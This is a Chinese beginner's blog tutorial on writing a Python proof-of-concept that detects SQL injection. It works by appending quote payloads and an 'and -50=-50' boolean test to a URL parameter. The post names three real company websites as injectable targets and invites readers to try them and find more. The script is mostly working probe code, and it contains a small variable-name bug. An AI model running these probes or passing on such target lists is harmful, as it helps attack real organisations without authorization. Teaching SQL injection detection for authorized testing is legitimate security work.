一前言:
我去年十月份挖洞挖着就挖到0day了,然后发现18年就被人提过了,内心复杂然后我昨晚闲着无聊,就写个poc,随缘,见一步写一步,哈哈~
这里首先介绍一下什么是poc,poc就是指验证网址存在漏洞的一个pyexp是漏洞利用简单的描述一下,咳咳~~
正文:
二如何编写?
http://www.aminotp.com/newsdetail.php?id=6http://haihengpharm.com/newsdetail.php?id=8http://crstpharma.com/newsdetail.php?id=3我拿出这三个网址,来判断poc也只是代替一下手工的,所以我们先手工看一下sql注入的回显
我们可以看出,加个双引号报错了这个信息,
and -50=-50没有报错,这就可以看出区别了
开始编写import requestsimport timefrom argparse import ArgumentParser
首先调用这3个库后面会讲为什么关于argparse模块可以看.这篇文章:https://www.jianshu.com/p/65b9e2f51940
第一步:
看到上面,我们可以使用单引号,双引号来判断是否报错arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")arg.add_argument('-u', help='target URL', dest='urls', type=str)url = arg.parse_args()payload = ["%27","%22"]
首先,我们要使用argparse模块,使用命令行来。
这一块代码:
第一句:首先是创建命令行解析器句柄,并自定义描述信息,以及如何使用。这就是脚本中的-h
如何就是我们的命令,-u ,help参数就是 目标的url,如何
第二句 可以看这篇文章如何就明白了里面参数是什么
https://blog.csdn.net/qq_36653505/article/details/83788460
第三~四句 是返回一个命名空间,然后我们就是单引号和双引号的一个payload检测
第二步:def poc(): for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)
我们定义一个函数,然后使用for循环遍历payload,至于url.urls 就是调用的方法,接受用户传参print(url)print(url.urls)
我们可以这样看一下,就可以看出了这2个区别。就知道怎么调用了,当然,也可以使用sys模块来.我们就先看一下for循环是啥for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability")
然后就是请求传参,然后再.text,返回页面信息
发现报错,出现了这个报错信息,和上面的那个图片一样,这样的话我们就可以使用str()强转为字符串。强转后再判断这个报错的函数 是否在这个返回的字符串中
然后再if判断,当这个单/双引号判断后,就会输出 第一个阶段测试成功,如果不成功的话,就输出可能出现了错误等等,因为我英语自小就不好。
所以就英汉互译下~~~
如果网站不存在的话,也可以编码下,返回一下页面(当然,不是图片啥的),也可以直接pass掉
第三步:tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)
这段代码依然如此,拼接了 and -50=-50 的编码然后再请求,2个,一个是拼接了 -50=-50的参数。一个是正常的url
输出后就是这样,然后我们在使用content来判断 两个页面传回来的是不是也要,一样的话就输出那串英文。然后最后再把url输出
第四步:if __name__=='__main__': sta = time.time() poc() end = time.time() run_time = int(end - start) print('漏洞探测耗时:', end='') print(run_time, end='') print('s')
然后if name==’main‘:
就是程序的入口,也就是说从这边开始,调用哪个哪个
首先设置一个开始的时间
sta,然后再设置个结束的时候end
然后结束的时间减掉开始的时间,就是我们执行的时间
三文末
这也是我昨天无聊,然后想玩一玩写的一个。
大佬勿喷
分享一个思路,poc和exp不一样
同理来说,poc只是验证漏洞的存在。
所以poc不是很难写,只是缺个思路(除非非常难理解的漏洞,只要理解漏洞原理就好)poc只是代替手工。所以可以先试下手工一下。
然后再看一下如何使用代码实现的这是运行结果:然后开头我附带了几个网站给各位大佬玩玩我已经提交过了,大佬们也可以再找找。
(如果觉得不咋地的话,请轻点喷)
本文标题:代码实战/萌新如何编写sql注入的poc
本文链接:https://www.toobug.cn/post/1064.html
作者授权:除特别说明外,本文由 toobug 原创编译并授权 TOOBUG信息安全网 刊载发布。
版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。
用TOOBUG官方小程序阅览更加简洁